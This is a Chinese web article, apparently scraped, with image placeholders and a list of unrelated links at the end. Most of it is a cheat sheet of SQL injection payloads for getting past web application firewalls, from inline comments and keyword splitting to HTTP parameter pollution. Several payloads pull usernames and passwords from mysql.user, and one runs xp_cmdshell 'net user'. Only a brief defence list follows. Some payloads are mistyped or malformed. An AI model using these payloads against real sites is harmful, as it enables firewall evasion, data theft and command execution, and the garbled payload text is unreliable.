文章插图
MySQL查询数据库版本;

文章插图

文章插图
常用过WAF技巧1.特征字符大小写(基本没用)
UnIoN SeLcT 1,2,32.内联注释
id=-1/*!UNION*/%20//*!SELECT*/%201,2,33.特殊字符代替空格
%09 tab键(水平)、%0a 换行、%0c 新的一页%0d return功能、%0b tab键(垂直)、%a0空格
4.等价函数和逻辑符号
hex()、bin()==>ascii()sleep()==>benchmark()concat_ws()==>group_concat()mid()、substr()==>substring()@@version==>version()@@datadir==>datadir()逻辑符号:如and和or不能使用时,尝试&&和||双管道符 。5.特殊符号
反引号,select `version()`,绕过空格和正则加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤@符号,用于定义变量,一个@代表用户变量,@@代表系统变量
6.关键字拆分
'se'+'lec'+'t'%S%E%L%C%T 1,2,3?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')!和():'or--+2=--!!!'2id=1+(UnI)(oN)+(SeL)(EcT)7.加括号绕过
小括号
union (select+1,2,3+from+users)%23union(select(1),(2),(3)from(users))id=(1)or(0x50=0x50)id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))花括号
select{x user}from{x mysql.user}id=-1 union select 1,{x 2},38.过滤and和or下的盲注
id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23id=strcmp(left((select+username+from+limit+0,1),1,0x42)%239.白名单绕过
拦截信息:
GET /pen/news.php?id=1 union select user,password from mysql.user绕过:
GET /pen/news. php/admin?id=1 union select user,password from mysql. userGET /pen/admin/..news. php?id=1 union select user,password from mysql. user10.HTTP参数控制
(1)HPP(HTTP Parmeter Polution)(重复参数污染)
举例:
index.php?id=1 union select username,password from usersindex.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/usersHPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同 。
具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过
(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)
HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例:
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users— SQL注入防御1.对用户输入的内容进行转义;
2.限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度;
3.使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数;
4.添加WAF,防火墙等 。
推荐阅读
- Spring框架和Spring Boot框架的区别
- Python中from import和import的区别?没有比这更好的回答了
- 孙悟空和女娲娘娘的关系 孙悟空的母亲到底是谁呢?
- 在北京的这些凶宅发生过的事 北京4大凶宅的科学真相
- WLAN无线漫游详解
- 无论新茶老茶 对味就是好茶
- 白天睡觉魇住是屋里不干净 梦魇其实就是有鬼怎么办
- 苏轼出生在什么朝代 苏轼与欧阳修并称是什么之一
- 打坐灵魂出窍会回不来吗 打坐入定后是什么感觉
- 金刚石是目前世界上最硬的物质吗? 金刚石是最硬的矿物吗
